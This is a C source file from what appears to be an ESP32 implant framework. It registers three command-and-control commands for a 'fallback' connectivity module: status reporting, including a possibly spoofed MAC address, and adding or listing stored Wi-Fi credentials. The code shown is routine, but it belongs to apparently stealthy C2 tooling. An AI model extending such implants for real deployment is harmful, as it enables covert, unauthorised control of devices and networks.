/*
 * cmd_fallback.c
 * Fallback resilient connectivity — 3 C2 commands for pre-configuration.
 *
 * The hunt itself is fully autonomous (no C2 command to start it).
 * These commands are for status + pre-loading known networks while connected.
 */
#include "sdkconfig.h"
#include "cmd_fallback.h"

#ifdef CONFIG_MODULE_FALLBACK

#include <string.h>
#include <stdio.h>

#include "esp_log.h"
#include "utils.h"

#include "fb_config.h"
#include "fb_hunt.h"
#include "fb_stealth.h"

#define TAG "FB"

/* ============================================================
 * COMMAND: fb_status
 * Report state, SSID, method, MAC, stored networks count.
 * ============================================================ */
static int cmd_fb_status(int argc, char **argv, const char *req, void *ctx)
{
    (void)argc; (void)argv; (void)ctx;

    fb_state_t state = fb_hunt_get_state();
    uint8_t mac[6];
    fb_stealth_get_current_mac(mac);

    char buf[256];
    snprintf(buf, sizeof(buf),
             "state=%s ssid=%s method=%s mac=%02X:%02X:%02X:%02X:%02X:%02X"
             " nets=%d c2_fb=%d",
             fb_hunt_state_name(state),
             fb_hunt_connected_ssid(),
             fb_hunt_connected_method(),
             mac[0], mac[1], mac[2], mac[3], mac[4], mac[5],
             fb_config_net_count(),
             fb_config_c2_count());

    msg_info(TAG, buf, req);
    return 0;
}

/* ============================================================
 * COMMAND: fb_net_add <ssid> [pass]
 * Add/update a known network. Pass "" to remove.
 * ============================================================ */
static int cmd_fb_net_add(int argc, char **argv, const char *req, void *ctx)
{
    (void)ctx;

    if (argc < 1) {
        msg_error(TAG, "usage: fb_net_add <ssid> [pass]", req);
        return -1;
    }

    const char *ssid = argv[0];
    const char *pass = (argc >= 2) ? argv[1] : "";

    /* Empty string for pass means "remove" */
    if (argc >= 2 && strcmp(pass, "\"\"") == 0) {
        if (fb_config_net_remove(ssid)) {
            char buf[96];
            snprintf(buf, sizeof(buf), "Removed network '%s'", ssid);
            msg_info(TAG, buf, req);
        } else {
            msg_error(TAG, "Network not found", req);
        }
        return 0;
    }

    if (fb_config_net_add(ssid, pass)) {
        char buf[96];
        snprintf(buf, sizeof(buf), "Added network '%s'", ssid);
        msg_info(TAG, buf, req);
    } else {
        msg_error(TAG, "Failed to add network (full?)", req);
    }
    return 0;
}

/* ============================================================
 * COMMAND: fb_net_list
 * List known networks.
 * ============================================================ */
static int cmd_fb_net_list(int argc, char **argv, const char *req, void *ctx)
{
    (void)argc; (void)argv; (void)ctx;

    fb_network_t nets[CONFIG_FB_MAX_KNOWN_NETWORKS];
    int count = fb_config_net_list(nets, CONFIG_FB_MAX_KNOWN_NETWORKS);

    if (count == 0) {
        msg_info(TAG, "No known networks", req);
        return 0;
    }

    for (int i = 0; i < count; i++) {
        char line[128];
        snprintf(line, sizeof(line), "[%d] ssid='%s' pass=%s",
                 i, nets[i].ssid,
                 nets[i].pass[0] ? "***" : "(open)");
        msg_data(TAG, line, strlen(line), (i == count - 1), req);
    }

    return 0;
}

/* ============================================================
 * Command table
 * ============================================================ */
static const command_t fb_cmds[] = {
    {
        .name     = "fb_status",
        .sub      = NULL,
        .help     = "Fallback state, MAC, method, config",
        .min_args = 0,
        .max_args = 0,
        .handler  = (command_handler_t)cmd_fb_status,
        .ctx      = NULL,
        .async    = false,
    },
    {
        .name     = "fb_net_add",
        .sub      = NULL,
        .help     = "Add known network: fb_net_add <ssid> [pass]",
        .min_args = 1,
        .max_args = 2,
        .handler  = (command_handler_t)cmd_fb_net_add,
        .ctx      = NULL,
        .async    = false,
    },
    {
        .name     = "fb_net_list",
        .sub      = NULL,
        .help     = "List known networks",
        .min_args = 0,
        .max_args = 0,
        .handler  = (command_handler_t)cmd_fb_net_list,
        .ctx      = NULL,
        .async    = false,
    },
};

/* ============================================================
 * Registration
 * ============================================================ */
void mod_fallback_register_commands(void)
{
    ESPILON_LOGI_PURPLE(TAG, "Registering fallback commands");

    fb_config_init();
    fb_hunt_init();

    for (size_t i = 0; i < sizeof(fb_cmds) / sizeof(fb_cmds[0]); i++) {
        command_register(&fb_cmds[i]);
    }
}

#else /* !CONFIG_MODULE_FALLBACK */

void mod_fallback_register_commands(void) { /* empty */ }

#endif /* CONFIG_MODULE_FALLBACK */